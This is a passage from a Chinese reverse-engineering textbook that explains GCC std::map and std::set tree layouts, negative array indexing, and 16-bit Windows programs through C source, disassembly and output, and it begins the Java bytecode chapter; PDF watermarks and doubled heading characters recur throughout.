M_parent=0x007A4988 M_right=0x007A4BC0 M_color=1 key=100 value=[one hundred] ptr=0x007A49A8 M_left=0x007A4BA0 M_parent=0x007A4B80 M_right=0x007A4C40 M_color=0 key=20 value=[twenty] ptr=0x007A4BA0 M_left=0x007A4C80 M_parent=0x007A49A8 M_right=0x00000000 M_color=1 key=12 value=[twelve] ptr=0x007A4C80 M_left=0x00000000 M_parent=0x007A4BA0 M_right=0x00000000 M_color=0 key=11 value=[eleven] ptr=0x007A4C40 M_left=0x00000000 M_parent=0x007A49A8 M_right=0x00000000 M_color=1 异步社区会员 dearfuture(15918834820) 专享 尊重版权 560 逆向工程权威指南(下册) key=99 value=[ninety-nine] ptr=0x007A4BC0 M_left=0x007A4B60 M_parent=0x007A4B80 M_right=0x007A4CA0 M_color=0 key=107 value=[one hundred seven] ptr=0x007A4B60 M_left=0x00000000 M_parent=0x007A4BC0 M_right=0x00000000 M_color=1 key=101 value=[one hundred one] ptr=0x007A4CA0 M_left=0x00000000 M_parent=0x007A4BC0 M_right=0x007A4CC0 M_color=1 key=1001 value=[one thousand one] ptr=0x007A4CC0 M_left=0x00000000 M_parent=0x007A4CA0 M_right=0x00000000 M_color=0 key=1010 value=[one thousand ten] As a tree: root----10 [ten] L-------1 [one] L-------0 [zero] R-------5 [five] L-------3 [three] L-------2 [two] R-------6 [six] R-------9 [nine] R-------100 [one hundred] L-------20 [twenty] L-------12 [twelve] L-------11 [eleven] R-------99 [ninety-nine] R-------107 [one hundred seven] L-------101 [one hundred one] R-------1001 [one thousand one] R-------1010 [one thousand ten] m.begin(): ptr=0x007A4BE0 M_left=0x00000000 M_parent=0x007A4C00 M_right=0x00000000 M_color=1 key=0 value=[zero] m.end(): ptr=0x0028FE40 M_left=0x007A4BE0 M_parent=0x007A4988 M_right=0x007A4CC0 M_color=0 dumping s as set: ptr=0x0028FE20, M_key_compare=0x8, M_header=0x0028FE24, M_node_count=6 ptr=0x007A1E80 M_left=0x01D5D890 M_parent=0x0028FE24 M_right=0x01D5D850 M_color=1 key=123 ptr=0x01D5D890 M_left=0x01D5D870 M_parent=0x007A1E80 M_right=0x01D5D8B0 M_color=1 key=12 ptr=0x01D5D870 M_left=0x00000000 M_parent=0x01D5D890 M_right=0x00000000 M_color=0 key=11 ptr=0x01D5D8B0 M_left=0x00000000 M_parent=0x01D5D890 M_right=0x00000000 M_color=0 key=100 ptr=0x01D5D850 M_left=0x00000000 M_parent=0x007A1E80 M_right=0x01D5D8D0 M_color=1 key=456 ptr=0x01D5D8D0 M_left=0x00000000 M_parent=0x01D5D850 M_right=0x00000000 M_color=0 key=1001 As a tree: root----123 L-------12 L-------11 R-------100 R-------456 R-------1001 s.begin(): ptr=0x01D5D870 M_left=0x00000000 M_parent=0x01D5D890 M_right=0x00000000 M_color=0 key=11 s.end(): ptr=0x0028FE24 M_left=0x01D5D870 M_parent=0x007A1E80 M_right=0x01D5D8D0 M_color=0 GCC 的实现方法与 MSVC 十分相似,具体内容可参见:http://gcc.gnu.org/onlinedocs/libstdc++ /libstdc++ -html-USERS-4.1/stl__tree_8h-source.html。与 MSVC 相比,GCC 创建的数据结构并没有 Isnil 字段,所以其 内存存储结构更为紧凑。另外,迭代器.end()同样指向了一个没有任何关键字或值的虚节点。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 51 章 C++ 561 平衡树的动态调整技术(GCC) 在平衡树里添加一个结点,可能会导致树的失衡。所以在插入结点时,需要对树进行调整,以保持树 的平衡。下面的程序将演示 GCC 的调整技术。 指令清单 51.37 GCC 程序 #include <stdio.h> #include <map> #include <set> #include <string> #include <iostream> struct map_pair { int key; const char *value; }; struct tree_node { int M_color; // 0 - Red, 1 - Black struct tree_node *M_parent; struct tree_node *M_left; struct tree_node *M_right; }; struct tree_struct { int M_key_compare; struct tree_node M_header; size_t M_node_count; }; const char* ALOT_OF_TABS="\t\t\t\t\t\t\t\t\t\t\t"; void dump_as_tree (int tabs, struct tree_node *n) { void *point_after_struct=((char*)n)+sizeof(struct tree_node); printf ("%d\n", *(int*)point_after_struct); if (n->M_left) { printf ("%.*sL-------", tabs, ALOT_OF_TABS); dump_as_tree (tabs+1, n->M_left); }; if (n->M_right) { printf ("%.*sR-------", tabs, ALOT_OF_TABS); dump_as_tree (tabs+1, n->M_right); }; }; void dump_map_and_set(struct tree_struct *m) { printf ("root----"); dump_as_tree (1, m->M_header.M_parent); }; int main() { std::set<int> s; 异步社区会员 dearfuture(15918834820) 专享 尊重版权 562 逆向工程权威指南(下册) s.insert(123); s.insert(456); printf ("123, 456 are inserted\n"); dump_map_and_set ((struct tree_struct *)(void*)&s); s.insert(11); s.insert(12); printf ("\n"); printf ("11, 12 are inserted\n"); dump_map_and_set ((struct tree_struct *)(void*)&s); s.insert(100); s.insert(1001); printf ("\n"); printf ("100, 1001 are inserted\n"); dump_map_and_set ((struct tree_struct *)(void*)&s); s.insert(667); s.insert(1); s.insert(4); s.insert(7); printf ("\n"); printf ("667, 1, 4, 7 are inserted\n"); dump_map_and_set ((struct tree_struct *)(void*)&s); printf ("\n"); }; 指令清单 51.38 GCC 4.8.1 程序 123, 456 are inserted root----123 R-------456 11, 12 are inserted root----123 L-------11 R-------12 R-------456 100, 1001 are inserted root----123 L-------12 L-------11 R-------100 R-------456 R-------1001 667, 1, 4, 7 are inserted root----12 L-------4 L-------1 R-------11 L-------7 R-------123 L-------100 R-------667 L-------456 R-------1001 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 第 5522 章 章 数 数组 组与 与负 负数 数索 索引 引 数组的负数索引值完全不阻碍寻址。例如,array[-1]实际上表示数组 array 起始地址之前的存储空间! 这种技术的用途相当有限。笔者认为除了本章范例的这种场景之外,应该没有什么领域用得上这项技 术了。众所周知,在表示数组的第一个元素时,C/C++使用的数组下标是 0,而部分其他编程语言(FORTRAN 等)使用的数组下标可能是 1。在移植代码的时候,可能会忽视这种问题。此时借助负数索引值就可以用 查找 C/C++数组中的第一个元素。 #include <stdio.h> int main() { int random_value=0x11223344; unsigned char array[10]; int i; unsigned char *fakearray=&array[-1]; for (i=0; i<10; i++) array[i]=i; printf ("first element %d\n", fakearray[1]); printf ("second element %d\n", fakearray[2]); printf ("last element %d\n", fakearray[10]); printf ("array[-1]=%02X, array[-2]=%02X, array[-3]=%02X, array[-4]=%02X\n", array[-1], array[-2], array[-3], array[-4]); }; 指令清单 52.1 非优化的 MSVC 2010 下的程序 1 $SG2751 DB 'first element %d', 0aH, 00H 2 $SG2752 DB 'second element %d', 0aH, 00H 3 $SG2753 DB 'last element %d', 0aH, 00H 4 $SG2754 DB 'array[-1]=%02X, array[-2]=%02X, array[-3]=%02X, array[-4' 5 DB ']=%02X', 0aH, 00H 6 7 _fakearray$ = -24 ; size = 4 8 _random_value$ = -20 ; size = 4 9 _array$ = -16 ; size = 10 10 _i$ = -4 ; size = 4 11 _main PROC 12 push ebp 13 mov ebp, esp 14 sub esp, 24 15 mov DWORD PTR _random_value$[ebp], 287454020 ; 11223344H 16 ; set fakearray[] one byte earlier before array[] 17 lea eax, DWORD PTR _array$[ebp] 18 add eax, -1 ; eax=eax-1 19 mov DWORD PTR _fakearray$[ebp], eax 20 mov DWORD PTR _i$[ebp], 0 21 jmp SHORT $LN3@main 22 ; fill array[] with 0..9 23 $LN2@main: 异步社区会员 dearfuture(15918834820) 专享 尊重版权 564 逆向工程权威指南(下册) 24 mov ecx, DWORD PTR _i$[ebp] 25 add ecx, 1 26 mov DWORD PTR _i$[ebp], ecx 27 $LN3@main: 28 cmp DWORD PTR _i$[ebp], 10 29 jge SHORT $LN1@main 30 mov edx, DWORD PTR _i$[ebp] 31 mov al, BYTE PTR _i$[ebp] 32 mov BYTE PTR _array$[ebp+edx], al 33 jmp SHORT $LN2@main 34 $LN1@main: 35 mov ecx, DWORD PTR _fakearray$[ebp] 36 ; ecx=address of fakearray[0], ecx+1 is fakearray[1] or array[0] 37 movzx edx, BYTE PTR [ecx+1] 38 push edx 39 push OFFSET $SG2751 ; 'first element %d' 40 call _printf 41 add esp, 8 42 mov eax, DWORD PTR _fakearray$[ebp] 43 ; eax=address of fakearray[0], eax+2 is fakearray[2] or array[1] 44 movzx ecx, BYTE PTR [eax+2] 45 push ecx 46 push OFFSET $SG2752 ; 'second element %d' 47 call _printf 48 add esp, 8 49 mov edx, DWORD PTR _fakearray$[ebp] 50 ; edx=address of fakearray[0], edx+10 is fakearray[10] or array[9] 51 movzx eax, BYTE PTR [edx+10] 52 push eax 53 push OFFSET $SG2753 ; 'last element %d' 54 call _printf 55 add esp, 8 56 ; subtract 4, 3, 2 and 1 from pointer to array[0] in order to find values before array[] 57 lea ecx, DWORD PTR _array$[ebp] 58 movzx edx, BYTE PTR [ecx-4] 59 push edx 60 lea eax, DWORD PTR _array$[ebp] 61 movzx ecx, BYTE PTR [eax-3] 62 push ecx 63 lea edx, DWORD PTR _array$[ebp] 64 movzx eax, BYTE PTR [edx-2] 65 push eax 66 lea ecx, DWORD PTR _array$[ebp] 67 movzx edx, BYTE PTR [ecx-1] 68 push edx 69 push OFFSET $SG2754 ; 'array[-1]=%02X, array[-2]=%02X, array[-3]=%02X, array[-4]=%02 X' 70 call _printf 71 add esp, 20 72 xor eax, eax 73 mov esp, ebp 74 pop ebp 75 ret 0 76 _main ENDP 数组 array[]有 10 个字节型数据元素,它们的值依次是 0 到 9。我们还构造数组 fakearray[]和相应的指 针,使 fakearrary 的数组指针地址比 array[]数组的地址提前一个字节,确保 fakearray[1]的地址和 array[0] 对齐。但是我们还是很好奇,在 array[0]之前的负值索引元素的地址到底是什么。为此,我们在这里在 array[] 数组的地址之存储了一个双字常数 0x11223344。只要不进行优化编译,编译器就会按照变量声明的顺序来 分配其存储空间。因此,我们可以在编译后的可执行文件里验证这个存储关系:双字常数 random_value 正 好排列于 array[]数组之前。 运行这个刚编译出来的可执行文件,可以看到程序运行的结果是: 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 52 章 数组与负数索引 565 first element 0 second element 1 last element 9 array[-1]=11, array[-2]=22, array[-3]=33, array[-4]=44 请注意 x86 平台的小端字节序现象。 在调试工具 OllyDbg 的栈窗口里,我们可以看到栈内数据的排布如下: 指令清单 52.2 非优化的 MSVC2010 编译结果 CPU Stack Address Value 001DFBCC /001DFBD3 ; fakearray pointer 001DFBD0 |11223344 ; random_value 001DFBD4 |03020100 ; 4 bytes of array[] 001DFBD8 |07060504 ; 4 bytes of array[] 001DFBDC |00CB0908 ; random garbage + 2 last bytes of array[] 001DFBE0 |0000000A ; last i value after loop was finished 001DFBE4 |001DFC2C ; saved EBP value 001DFBE8 \00CB129D ; Return Address 现在,栈内地址与变量值的对应关系是:  数组 fakearray[]的地址是 0x001dfbd3,它比数组 array[]的地址 0x001dfbd4 落后了一个字节 (栈 是逆向增长的存储结构)。 虽然这确实是某种意义上的 hack,但是它确实不很靠谱(编译结果可能和预期相差甚远)。因此,本 书不建议在生产环境下使用这种代码。即使如此,本例仍然不失为典型的演示程序。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 第 5533 章 章 1166 位 位的 的 W Wiinnddoowwss 程 程序 序 虽然 16 位的 Windows 程序已经近乎绝迹,但是有关复古程序以及研究加密狗的研究,往往会涉及这 部分知识。 微软于 1993 年 8 月发布了最后一个 16 位的 Windows 系统,即 Windows 3.11(同年发行的中文操作系 统 Windows 3.2 也是 16 位操作系统)。在此之后问世的 16/32 位混合系统 Windows 96/98/ME 系统,以及 32 位的 Windows NT 系统都可以运行 16 位应用程序。后来推出的 64 位 Windows NT 系列操作系统不再支持 16 位应用程序。 16 位应用程序的代码结构和 MSDOS 的程序十分相似。这种类型的可执行文件采用了一种名为“New Executable (NE)”的可执行程序格式。 本章的所有程序均由 OpenWatcom 1.9 编译。编译时的选项开关如下: wcl.exe -i=C:/WATCOM/h/win/ -s -os -bt=windows -bcl=windows example.c 53.1 例子#1 #include <windows.h> int PASCAL WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow ) { MessageBeep(MB_ICONEXCLAMATION); return 0; }; WinMain proc near push bp mov bp, sp mov ax, 30h ; '0' ; MB_ICONEXCLAMATION constant push ax call MESSAGEBEEP xor ax, ax ; return 0 pop bp retn 0Ah WinMain endp 这个程序不难分析。 53.2 例子#2 #include <windows.h> int PASCAL WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow ) { MessageBox (NULL, "hello, world", "caption", MB_YESNOCANCEL); 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 53 章 16 位的 Windows 程序 567 return 0; }; WinMain proc near push bp mov bp, sp xor ax, ax ; NULL push ax push ds mov ax, offset aHelloWorld ; 0x18. "hello, world" push ax push ds mov ax, offset aCaption ; 0x10. "caption" push ax mov ax, 3 ; MB_YESNOCANCEL push ax call MESSAGEBOX xor ax, ax ; return 0 pop bp retn 0Ah WinMain endp dseg02:0010 aCaption db 'caption',0 dseg02:0018 aHelloWorld db 'hello, world',0 基于 Pascal 语言的调用约定要求:参数从左至右入栈(与 cdecl 相反)。调用方函数依次传递 NULL、 "hello, world"、"caption"和 MB_YESNOCANCEL。这个规范还要求被调用函数恢复栈指针,所以 RETN 指 令有一个 0Ah 参数,即被调用函数在退出的时候要释放 10 字节的栈空间。这种调用规范和 stdcall(参阅 64.2 节)十分相似,只是参数传递的顺序是从左到右的“自然语言”顺序, 16 位应用程序的指针是一对数据:函数首先传递的是数据段的地址,然后再传递段内的指针地址。本 例子只用到了一个数据段,所以 DS 寄存器的值一直是可执行文件数据段的地址。 53.3 例子#3 #include <windows.h> int PASCAL WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow ) { int result=MessageBox (NULL, "hello, world", "caption", MB_YESNOCANCEL); if (result==IDCANCEL) MessageBox (NULL, "you pressed cancel", "caption", MB_OK); else if (result==IDYES) MessageBox (NULL, "you pressed yes", "caption", MB_OK); else if (result==IDNO) MessageBox (NULL, "you pressed no", "caption", MB_OK); return 0; }; WinMain proc near push bp mov bp, sp xor ax, ax ; NULL push ax push ds mov ax, offset aHelloWorld ; "hello, world" push ax 异步社区会员 dearfuture(15918834820) 专享 尊重版权 568 逆向工程权威指南(下册) push ds mov ax, offset aCaption ; "caption" push ax mov ax, 3 ; MB_YESNOCANCEL push ax call MESSAGEBOX cmp ax, 2 ; IDCANCEL jnz short loc_2F xor ax, ax push ax push ds mov ax, offset aYouPressedCanc ; "you pressed cancel" jmp short loc_49 loc_2F: cmp ax, 6 ; IDYES jnz short loc_3D xor ax, ax push ax push ds mov ax, offset aYouPressedYes ; "you pressed yes" jmp short loc_49 loc_3D: cmp ax, 7 ; IDNO jnz short loc_57 xor ax, ax push ax push ds mov ax, offset aYouPressedNo ; "you pressed no" loc_49: push ax push ds mov ax, offset aCaption ; "caption" push ax xor ax, ax push ax call MESSAGEBOX loc_57: xor ax, ax pop bp retn 0Ah WinMain endp 这段代码是基于前面那个例子进行了一些改动。 53.4 例子#4 #include <windows.h> int PASCAL func1 (int a, int b, int c) { return a*b+c; }; long PASCAL func2 (long a, long b, long c) { return a*b+c; }; long PASCAL func3 (long a, long b, long c, int d) { return a*b+c-d; }; int PASCAL WinMain( HINSTANCE hInstance, 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 53 章 16 位的 Windows 程序 569 HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow ) { func1 (123, 456, 789); func2 (600000, 700000, 800000); func3 (600000, 700000, 800000, 123); return 0; }; func1 proc near c = word ptr 4 b = word ptr 6 a = word ptr 8 push bp mov bp, sp mov ax, [bp+a] imul [bp+b] add ax, [bp+c] pop bp retn 6 func1 endp func2 proc near arg_0 = word ptr 4 arg_2 = word ptr 6 arg_4 = word ptr 8 arg_6 = word ptr 0Ah arg_8 = word ptr 0Ch arg_A = word ptr 0Eh push bp mov bp, sp mov ax, [bp+arg_8] mov dx, [bp+arg_A] mov bx, [bp+arg_4] mov cx, [bp+arg_6] call sub_B2 ; long 32-bit multiplication add ax, [bp+arg_0] adc dx, [bp+arg_2] pop bp retn 12 func2 endp func3 proc near arg_0 = word ptr 4 arg_2 = word ptr 6 arg_4 = word ptr 8 arg_6 = word ptr 0Ah arg_8 = word ptr 0Ch arg_A = word ptr 0Eh arg_C = word ptr 10h push bp mov bp, sp mov ax, [bp+arg_A] mov dx, [bp+arg_C] mov bx, [bp+arg_6] mov cx, [bp+arg_8] call sub_B2 ; long 32-bit multiplication mov cx, [bp+arg_2] 异步社区会员 dearfuture(15918834820) 专享 尊重版权 570 逆向工程权威指南(下册) add cx, ax mov bx, [bp+arg_4] adc bx, dx ; BX=high part, CX=low part mov ax, [bp+arg_0] cwd ; AX=low part d, DX=high part d sub cx, ax mov ax, cx sbb bx, dx mov dx, bx pop bp retn 14 func3 endp WinMain proc near push bp mov bp, sp mov ax, 123 push ax mov ax, 456 push ax mov ax, 789 push ax call func1 mov ax, 9 ; high part of 600000 push ax mov ax, 27C0h ; low part of 600000 push ax mov ax, 0Ah ; high part of 700000 push ax mov ax, 0AE60h ; low part of 700000 push ax mov ax, 0Ch ; high part of 800000 push ax mov ax, 3500h ; low part of 800000 push ax call func2 mov ax, 9 ; high part of 600000 push ax mov ax, 27C0h ; low part of 600000 push ax mov ax, 0Ah ; high part of 700000 push ax mov ax, 0AE60h ; low part of 700000 push ax mov ax, 0Ch ; high part of 800000 push ax mov ax, 3500h ; low part of 800000 push ax mov ax, 7Bh ; 123 push ax call func3 xor ax, ax ; return 0 pop bp retn 0Ah WinMain endp 当 16 位系统(MSDOS 和 Win16)传递 long 型 32 位“长”数据时(这种平台上的 int 型数据是 16 位 数据),它会将 32 位数据拆成 2 个 16 位数据、成对传递。这种方法和第 24 章介绍的“32 位系统处理 64 位数据”的方法十分相似。 此处的 sub_B2 是编译器开发人员编写的(仿真)库函数,用于长数据的乘法运算;即它可实现 2 个 32 位数据的乘法运算。程序中的其他库函数,请参见本书的附录 D 和附录 E。 ADD/ADC 指令分别对高低 16 位数据进行加法运算:ADD 指令可设置/清除 CF 标识位,而 ADC 指令 会代入这个标识位的值。同理,SUB/SBB 指令对可实现 32 位数据的减法运算:SUB 可设置/清除 CF 标识 位,SBB 会在计算过程中代入借位标识位的值。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 53 章 16 位的 Windows 程序 571 在返回函数值的时候,32 位的返回值通过 DX:AX 寄存器对回传。 另外,当主函数 WinMain()函数向其他函数传递 32 位常量时,它也把常量拆分为 1 对 16 位数据了。 如果要把 int 型常数 123 当作 long 型 32 位参数,那么编译器就会使用 CWD 指令把 AX 里的 16 位数 据符号扩展为 32 位的数据、再连同 DX 寄存器里的高 16 位数据一同传递。 53.5 例子#5 #include <windows.h> int PASCAL string_compare (char *s1, char *s2) { while (1) { if (*s1!=*s2) return 0; if (*s1==0 || *s2==0) return 1; // end of string s1++; s2++; }; }; int PASCAL string_compare_far (char far *s1, char far *s2) { while (1) { if (*s1!=*s2) return 0; if (*s1==0 || *s2==0) return 1; // end of string s1++; s2++; }; }; void PASCAL remove_digits (char *s) { while (*s) { if (*s>='0' && *s<='9') *s='-'; s++; }; }; char str[]="hello 1234 world"; int PASCAL WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow ) { string_compare ("asd", "def"); string_compare_far ("asd", "def"); remove_digits (str); MessageBox (NULL, str, "caption", MB_YESNOCANCEL); return 0; }; string_compare proc near 异步社区会员 dearfuture(15918834820) 专享 尊重版权 572 逆向工程权威指南(下册) arg_0 = word ptr 4 arg_2 = word ptr 6 push bp mov bp, sp push si mov si, [bp+arg_0] mov bx, [bp+arg_2] loc_12: ; CODE XREF: string_compare+21j mov al, [bx] cmp al, [si] jz short loc_1C xor ax, ax jmp short loc_2B loc_1C: ; CODE XREF: string_compare+Ej test al, al jz short loc_22 jnz short loc_27 loc_22: ; CODE XREF: string_compare+16j mov ax, 1 jmp short loc_2B loc_27: ; CODE XREF: string_compare+18j inc bx inc si jmp short loc_12 loc_2B: ; CODE XREF: string_compare+12j ; string_compare+1Dj pop si pop bp retn 4 string_compare endp string_compare_far proc near ; CODE XREF: WinMain+18p arg_0 = word ptr 4 arg_2 = word ptr 6 arg_4 = word ptr 8 arg_6 = word ptr 0Ah push bp mov bp, sp push si mov si, [bp+arg_0] mov bx, [bp+arg_4] loc_3A: ; CODE XREF: string_compare_far+35j mov es, [bp+arg_6] mov al, es:[bx] mov es, [bp+arg_2] cmp al, es:[si] jz short loc_4C xor ax, ax jmp short loc_67 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 53 章 16 位的 Windows 程序 573 loc_4C: ; CODE XREF: string_compare_far+16j mov es, [bp+arg_6] cmp byte ptr es:[bx], 0 jz short loc_5E mov es, [bp+arg_2] cmp byte ptr es:[si], 0 jnz short loc_63 loc_5E: ; CODE XREF: string_compare_far+23j mov ax, 1 jmp short loc_67 loc_63: ; CODE XREF: string_compare_far+2Cj inc bx inc si jmp short loc_3A loc_67: ; CODE XREF: string_compare_far+1Aj ; string_compare_far+31j pop si pop bp retn 8 string_compare_far endp remove_digits proc near ; CODE XREF: WinMain+1Fp arg_0 = word ptr 4 push bp mov bp, sp mov bx, [bp+arg_0] loc_72: ; CODE XREF: remove_digits+18j mov al, [bx] test al, al jz short loc_86 cmp al, 30h ; '0' jb short loc_83 cmp al, 39h ; '9' ja short loc_83 mov byte ptr [bx], 2Dh ; '-' loc_83: ; CODE XREF: remove_digits+Ej ; remove_digits+12j inc bx jmp short loc_72 loc_86: ; CODE XREF: remove_digits+Aj pop bp retn 2 remove_digits endp WinMain proc near ; CODE XREF: start+EDp push bp mov bp, sp mov ax, offset aAsd ; "asd" push ax mov ax, offset aDef ; "def" push ax call string_compare push ds mov ax, offset aAsd ; "asd" 异步社区会员 dearfuture(15918834820) 专享 尊重版权 574 逆向工程权威指南(下册) push ax push ds mov ax, offset aDef ; "def" push ax call string_compare_far mov ax, offset aHello1234World ; "hello 1234 world" push ax call remove_digits xor ax, ax push ax push ds mov ax, offset aHello1234World ; "hello 1234 world" push ax push ds mov ax, offset aCaption ; "caption" push ax mov ax, 3 ; MB_YESNOCANCEL push ax call MESSAGEBOX xor ax, ax pop bp retn 0Ah WinMain endp 这个程序使用了“near”和“far”两种不同类型的指针。每种指针都对应着 16 位 8086CPU 的一种特 定的指针寻址模式。这方面详细内容,请参见本书第 94 章的详细介绍。 “near”指针的寻址空间是当前数据段(DS)内的所有地址。字符串比较函数 string_compare() 读取 2 个指针,把 DS 寄存器的值当作寻址所需的基(段)地址、对这两个指针进行寻址。所以此处的“mov al,[bx]” 指令等效于“mov al, ds:[bx]”指令,只不过原指令没有明确标出它使用的 DS 寄存器而已。 “far”指针的寻址空间不限于当前数据段,它可以是其他 DS 段的内存地址。由于需要指定基(段)地 址,所以 2 个 16 位数据才能表示 1 个 far 型指针。本例的 string_compare_far()函数从 2 对 16 位数据里提 取 2 个内存地址。函数把指针的基地址存入段寄存器 ES,然后在使用 Far 指针寻址时通过基地址寻址(mov al, es:[bx])。本章的例 2 表明,16 位程序的 MessageBox()函数(属于系统函数)使用的也是 far 指针。确实, 当 Windows 内核访问文本字符串指针时,它不了解字符串指针的基地址是什么,所以在调用内核函数的时 候需要指明指针的段地址。 near 指针的寻址范围是 64k,这恰好是 1 个数据段的长度。对于小型程序来说,这种指针可能就够用 了、不必在每次寻址的时候都要传递指针的段地址。大型的程序通常会占用多个 64k 的数据段,所以就要 在每次寻址的时候指明指针的数据段(段地址)。 代码段也有寻址意义上的差别。一个 64k 内存段就可以盛下所有指令的小型程序,可以只用 CALL NEAR 指令调用其他函数;其被调用方函数可以只用 RETN 指令返回调用方函数。但是,大型程序会占用 数个代码段,它就需要使用 CALL FAR 指令、用 1 对 16 位数据作跳转的目的地址;而去其被调用方函数 就必须通过 RETF 指令返回调用方函数。 这就是编译器“内存模型(memory model)”选项的实际意义。 面向 MS-DOS 和 Win16 的编译器,为各种内存模型准备了相应的不同库。这些库文件在代码指针和数 据指针的寻址模式存在相应的区别。 53.6 例子#6 #include <windows.h> #include <time.h> #include <stdio.h> char strbuf[256]; 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 53 章 16 位的 Windows 程序 575 int PASCAL WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow ) { struct tm *t; time_t unix_time; unix_time=time(NULL); t=localtime (&unix_time); sprintf (strbuf, "%04d-%02d-%02d %02d:%02d:%02d", t->tm_year+1900, t->tm_mon, t-> tm_mday, t->tm_hour, t->tm_min, t->tm_sec); MessageBox (NULL, strbuf, "caption", MB_OK); return 0; }; WinMain proc near var_4 = word ptr -4 var_2 = word ptr –2 push bp mov bp, sp push ax push ax xor ax, ax call time_ mov [bp+var_4], ax ; low part of UNIX time mov [bp+var_2], dx ; high part of UNIX time lea ax, [bp+var_4] ; take a pointer of high part call localtime_ mov bx, ax ; t push word ptr [bx] ; second push word ptr [bx+2] ; minute push word ptr [bx+4] ; hour push word ptr [bx+6] ; day push word ptr [bx+8] ; month mov ax, [bx+0Ah] ; year add ax, 1900 push ax mov ax, offset a04d02d02d02d02 ; "%04d-%02d-%02d %02d:%02d:%02d" push ax mov ax, offset strbuf push ax call sprintf_ add sp, 10h xor ax, ax ; NULL push ax push ds mov ax, offset strbuf push ax push ds mov ax, offset aCaption ; "caption" push ax xor ax, ax ; MB_OK push ax call MESSAGEBOX xor ax, ax mov sp, bp pop bp retn 0Ah WinMain endp 异步社区会员 dearfuture(15918834820) 专享 尊重版权 576 逆向工程权威指南(下册) “unix_time”是个 32 位数据。它首先被 Time()函数存储在寄存器对 DX:AX 里,而后被主函数复制到 了 2 个本地的 16 位变量。接着这个指针(地址对)又被传递给 localtime()函数。Localtime()函数把这个指 针指向的数据解析为标准库定义的 tm 结构体,返回值是这种结构体的指针。另外,这也意味着如果不使 用完其返回的数值,就不应重复调用这个函数。 在调用 time()函数和 localtime()函数的时候,编译器使用的是 Watcom 调用约定:前 4 个参数分别通过 AX、DX、BX 和 CX 寄存器传递,其余参数通过数据栈传递。遵循这种调用约定的库函数,其函数名称(汇 编层面)的尾部也有下划线标识。 不过,sprintf()函数遵循的调用约定既不是 PASCAL 也不是 Watcom,所以编译器使用常规的 cdecl 规 范传递参数(请参考 64.1 节)。 53.6.1 全局变量 我们对刚才的例子略作改动,使用全局变量再次实现它的功能: #include <windows.h> #include <time.h> #include <stdio.h> char strbuf[256]; struct tm *t; time_t unix_time; int PASCAL WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow ) { unix_time=time(NULL); t=localtime (&unix_time); sprintf (strbuf, "%04d-%02d-%02d %02d:%02d:%02d", t->tm_year+1900, t->tm_mon, t-> tm_mday, t->tm_hour, t->tm_min, t->tm_sec); MessageBox (NULL, strbuf, "caption", MB_OK); return 0; }; unix_time_low dw 0 unix_time_high dw 0 t dw 0 WinMain proc near push bp mov bp, sp xor ax, ax call time_ mov unix_time_low, ax mov unix_time_high, dx mov ax, offset unix_time_low call localtime_ mov bx, ax mov t, ax ; will not be used in future... push word ptr [bx] ; seconds push word ptr [bx+2] ; minutes push word ptr [bx+4] ; hour push word ptr [bx+6] ; day push word ptr [bx+8] ; month mov ax, [bx+0Ah] ; year add ax, 1900 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 53 章 16 位的 Windows 程序 577 push ax mov ax, offset a04d02d02d02d02 ; "%04d-%02d-%02d %02d:%02d:%02d" push ax mov ax, offset strbuf push ax call sprintf_ add sp, 10h xor ax, ax ; NULL push ax push ds mov ax, offset strbuf push ax push ds mov ax, offset aCaption ; "caption" push ax xor ax, ax ; MB_OK push ax call MESSAGEBOX xor ax, ax ; return 0 pop bp retn 0Ah WinMain endp 虽然编译器保留了汇编宏 t 的赋值指令,但是这个值实际上没有被后续代码调用。因为编译器无法判 断其他模块(文件)是否会访问这个值,所有保留了有关的赋值语句。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 第四 四部 部分 分 JJaavvaa 异步社区会员 dearfuture(15918834820) 专享 尊重版权 580 逆向工程权威指南 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 第 5544 章 章 JJaavvaa 54.1 简介 Java 程序的反编译工具已经十分成熟了。一般来讲,它们都是 JVM(基于栈机制的 Java 虚拟机) 的字节码(bytecode,指令流里的指令只有一个字节,故而得名。不过 java 指令中的操作数属于 变长信息)分析工具。著名的 JAD(http://varaneckas.com/jad/)就是一款颇具代表性的 JAVA 反编译 工具。 相对于 x86 平台更底层指令的反编译技术来说,面向 JVM 的 bytecode 更容易反编译。这主要是因为: ① 字节码含有更为丰富的数据类型信息。 ② JVM 内存模型更严格,因此字节码分析起来更为有章可循。 ③ Java 编译器不做任何优化工作(而 JVM JIT 在运行时会做优化工作),因此在反编译字节码之后, 我们基本可以直接理解 Java 类文件里的原始指令。 什么时候 JVM bytecode 反编译有用呢? ① 无需重新编译反汇编的结果,而能给类文件做应急补丁。 ② 分析混淆代码。 ③ 需要编写自己的代码混淆器。 ④ 创建面向 JVM 的、类似编译程序的代码生成工具(类似 Scala,Clohure 等等)。 让我们从简单的代码开始演示。除非特别指明,否则我们这里用到的都是 JDK 1.7 的自带工具。 反编译类文件的命令是:javap –c –verbose。 笔者采用的例子摘自于参考书目 Jav13。 54.2 返回一个值 或许 Java 的最简函数是直接返回数值、不做其他操作的函数。当然,功能再少一点的、什么操作都没 有的“闲置”函数,肯定不存在。函数必须具有某种行为,因此统称为“方法”。在 Java 的概念中,“类/class” 